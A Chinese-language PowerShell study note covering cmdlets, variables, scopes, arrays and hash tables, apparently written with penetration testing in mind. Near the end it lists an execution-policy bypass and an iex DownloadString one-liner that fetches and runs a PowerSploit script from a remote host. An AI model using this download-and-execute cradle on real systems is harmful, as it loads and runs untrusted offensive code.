PowerShell,从名字可以知道,他首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样就是在里边敲命令(可执行文件)使用;

而Power就意味他是一个功能强大的shell,从面向用户而言,个人觉得其功能强大体现在以下几方面:

(1) 微软态度。微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现。

(2) 兼容性cmd。PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础上添加命令。

(3) 对标Linux。PowerShell使用了Linux Shell的思想,也就是所有的系统操作、配置,都可以在shell中敲写命令实现。

(4) 统一的命令格式和自包含的文档。基于前3点我们即可以说PowerShell已可与Linux Bash等一较高下。

当然powershell很好但也有着其劣势:

(1)Linux和Windows系统本身定位的差异。Linux的免费稳定使其牢牢占据了服务器领域,Linux Shell命令是没有很多统一格式的因此工程师们要费很大的劲去学习,而当Linux占据工程师的大部分精力并塑造完他们的习惯后,工程师们也许并没有那么多精神和动力去学powershell。

(2)来自Windows GUI的竞争。Windows上命令能干的事GUI也都能干也许效率慢一些但普通用户可不想去黑漆漆的界面敲感觉不受控制的命令。

Linux占据了服务器工程师的日常,而Windows自身强大的GUI对普通用户有天然的亲和力,所以powershell能期望的目标用户是谁呢,Windows服务器运维工程师好像没见过专门设有这职位。、

Powershell中可实现cmd的所有功能,反之则不可以;因为powershell可以直接调用.Net及COM对象而实现许多功能,所以黑客更倾向于在Windows中使用Powershell,并且各种花式调用在内网渗透中。
接下来便是Powershell的基础应用~~~
Powershell常用命令
1、Get-Command :得到Powshell所有命令
2、Get-Process :获取所有迚程
3、Set-Alias : 给指定命令重命名 如:Set-Alias aaa Get-Command
4、Set-ExecutionPolicy remotesigned :设置powershell可直接执行脚本文件 一般脚本文件以.ps1
结尾 执行脚本文件直接输入文件地址即可执行 脚本文件中叧写命令即可
5、Get-Help get-* :查询以get开头的命令 Get-Help service Get-Help Get-Command 获取
Get-Command命令的基本用法
6、Get-Member: 获取对象属性 如: $var | Get-Memeber 访问$var属性 直接$var.ToString()
Powershell变量定义
规则:不需要定义或声明数据类型,在变量前加$,变量可以是数字、字符串、特殊字符;
变量赋值:$var=123 $var=‘aaaaa’
取变量值:$var

变量赋值方法:Set-Variable var 100
取值方法: Get-Variable var

清空值:Clear-Variable var
删除变量:Remove-Variable var

取多个变量如var1、 var2 、var3地值:
Get-Variable var*
获取当前时间:$date=Get-Date
当前时间加3天:$date.AddDays(3)

Powershell变量的作用域
Powershell支持四个作用域:全局、当前、私有和脚本
$global:全局变量,在所有的作用域中有效,如果你在脚本或者函数中设置了全局变量,即使脚本和函数都运行结束,这个变量也有效;
$script:脚本变量,只会在脚本内部有效,包括脚本中的函数,一旦脚本运行结束,这个变量就会被回收;
$private:私有变量,只会在当前作用域中有效,不会贯穿到其他作用域;
$local:默认变量,可以省略修饰符,在当前作用域有效,其他作用域只对他有只读权限;

 

Powershell 是运行在windows机器上实现系统和应用程序管理自动化的命令行脚本环境。你可以把它看成是命令行提示符cmd.exe的扩充

powershell命令和参数不区分大小写

1.1管道   #把上一条命令的输出作为下一条命令的输入

  

注:通过ls获取当前目录的所有文件信息,然后通过sort-object 排序,默认升序

1.2重定向  #把命令的输出保存到文件中,‘>’为覆盖,’>>’追加

  

注:查看内容可以通过type或者get-content查看

2.Powershell 查看可以执行的cmd命令(cmd /c help )

  

3.1变量

在powershell中变量名均是以美元符”$”开始,剩余字符可以是数字、字母、下划线的任意字符,并且powershell变量名大小写不敏感($a和$A 是同一个变量)

powershell一切皆对象,变量也是对象,通过$str(变量名) | get-member  查看变量所拥有的属性以及方法

  

查看正在使用的变量  ls variable: 

3.2环境变量

Powershell把所有环境变量的记录保存在env: 虚拟驱动中,因此可以列出所有环境变量 。一旦查出环境变量的名字就可以使用$env:name 访问了。

注:通过查找所有环境变量可以得到计算机名,当前所属域的域名,用户名等等

通过$env:属性名访问  

4.1数组

  1.命令返回数组   #当我们把一个命令的执行结果保存到一个变量中,可能会认为变量存放的是纯文本。
但是,事实上Powershell会把文本按每一行作为元素存为数组

  

  2.创建数组:

  在Powershell中创建数组可以使用逗号,创建空数组使用@()

  

  3.访问、添加数组:  #添加数组使用"+="

  

4.2哈希表

  1.创建哈希表

   之前使用@()创建数组,现在使用@{}创建哈希表,用";"把每个值分隔开,使用哈希表的键访问对应的值

   

  2.修改、增加、删除哈希表

   

5. 常用命令

 get-help  查看帮助

 get-command 查询命令

 get-member  查看对象的成员信息

 get-verb  获取所有动词

 get-content 或者type  查看内容

 $psversiontable   查看powershell版本 

 ls env:    查看所有环境变量 

 ls alias:  或者get-alias  查看所有的别名 

 get-executionpolicy  查看脚本执行策略

 set-executionpolicy bypass  设置可以执行脚本

 . ./test1.ps1   把test1.ps1加载到内存  注意两个点之间有一个空格

 iex(New-Object Net.Webclient).DownloadString('http://10.10.10.132/PowerSploit-master/xx.ps1')    iex远程下载脚本执行    

 在字符串前面加"&",可以执行命令或者启动程序 

windows powershell学习的更多相关文章

  1. [Windows Powershell]-学习笔记(5)

    Powershell自动化变量 Powershell 自动化变量 是那些一旦打开Powershell就会自动加载的变量,或者说是运行是变量. 这些变量一般存放的内容包括 用户信息:例如用户的根目录$h ...

  2. Windows PowerShell 学习之——Cmdlet处理生命周期

    这一次介绍一下Cmdlet处理过程的生命周期 总共分为六个部分 1.概述 2. 命令行输入绑定参数(parameters) 3. 开始指令处理 4. 接受管道输入绑定参数 5. 处理记录 6. 处理记 ...

  3. [Windows Powershell]-学习笔记(6)

    Powershell环境变量 传统的控制台一般没有象Powershell这么高级的变量系统.它们都是依赖于机器本身的环境变量,进行操作 .环境变量对于powershell显得很重要,因为它涵盖了许多操 ...

  4. [Windows Powershell]-学习笔记(2)

    数学运算 我们可以把powershell当成一个计算器.如键入命令行那样输入数学表达式,回车,powershell会自动计算并把结果输出.常用的加减乘除模(+,-,*,/,%)运算和小括号表达式都支持 ...

  5. [Windows Powershell]-学习笔记(4)

    Powershell 定义变量 在powershell中变量名均是以美元符"$"开始,剩余字符可以是数字.字母.下划线的任意字符,并且powershell变量名大小写不敏感($a和 ...

  6. [Windows Powershell]-学习笔记(3)

    Powershell 通过函数扩展别名 在powershell中设置别名的确方便快捷,但是在设置别名的过程中并设置参数的相关信息,尽管别名会自动识别参数,但是如何把经常使用的参数默认设定在别名里面呢? ...

  7. [Windows Powershell]-学习笔记(1)

      Powershell 快捷键 Powershell的快捷键和cmd,linux中的shell,都比较像.   ALT+F7     清除命令的历史记录 PgUp PgDn     显示当前会话的第 ...

  8. 【黑客基础】Windows PowerShell 脚本学习(上)

    视频地址:[黑客基础]Windows PowerShell 脚本学习 2019.12.05 学习笔记 1.$PSVersionTable :查看PowerShell的版本信息. 2.PowerShel ...

  9. 【SharePoint学习笔记】第2章 SharePoint Windows PowerShell 指南

    快速了解Windows PowerShell     从SharePoint 2010开始支持PowerShell,仍支持stsadm.exe工具:     可以调用.NET对象.COM对象.exe文 ...

随机推荐

  1. IP positioning check position

    1.如何找到网上散布不法言论的人的地理位置 比方像微博发布的时候都会自动添加主机网络地址,需要对头文件进行分析 找到IP地址 然后进行反查IP地址的位置 , 如果是可以与要查的终端可以进行通信 ,可以 ...

  2. HTML&CSS基础-字体的样式

    HTML&CSS基础-字体的样式 作者:尹正杰 版权声明:原创作品,谢绝转载!否则将追究法律责任. 一.HTML源代码 <!DOCTYPE html> <html> & ...

  3. 2013.5.1 - KDD第十三天

    今天把昨天的思路整理了一下,给中秋发过去了,还没回我. 然后就全天看代码了,把NER跟LTP的接口又过了一下.晚上师兄跟我约好这周六一起把LTP写完,到时候我们俩都早点过来. 这之前需要做的有: 1. ...

  4. docker 运行ELK

    docker network create somenetwork docker run -d --name elasticsearch --net somenetwork -p 9200:9200 ...

  5. 如何设置CentOS 7获取动态IP和静态IP

    自动获取动态IP地址 1.输入“ip addr”并按回车键确定,发现无法获取IP(CentOS 7默认没有ifconfig命令),记录下网卡名称(本例中为ens33). 2.输入“cd /etc/sy ...

  6. 剑指offer:从尾到头打印链表

    题目 输入一个链表,按链表值从尾到头的顺序返回一个ArrayList. 解题思路 在不改变链表结构的前提下,因为单向链表本身的结构是从头到尾的,现在用从尾到头遍历打印,可以联想到“先进后出”, 因此我 ...

  7. python3 操作 hive 安装依赖包整理

    安装依赖pip install saslpip install thriftpip install thrift-saslpip install PyHive windows安装sasl报错,解决方案 ...

  8. Kotlin扩展作用域分析与扩展的根本作用解析

    在上一次https://www.cnblogs.com/webor2006/p/11219358.html学习了Kotlin的扩展,继续这个话题继续拓展,首先提出这么一个问题:假如我们扩展的方法跟类中 ...

  9. 优化MyEclipse编译速度慢的问题、build、project clean 慢

    优化MyEclipse编译速度慢的问题(重点是1) 1 .关闭MyEclipse的自动validation windows > perferences > myeclipse > v ...

  10. js 相差年、月、日

    <!-- 相差天数--> function datedifference(startDate, endDate) { var dateSpan, tempDate, iDays; sDat ...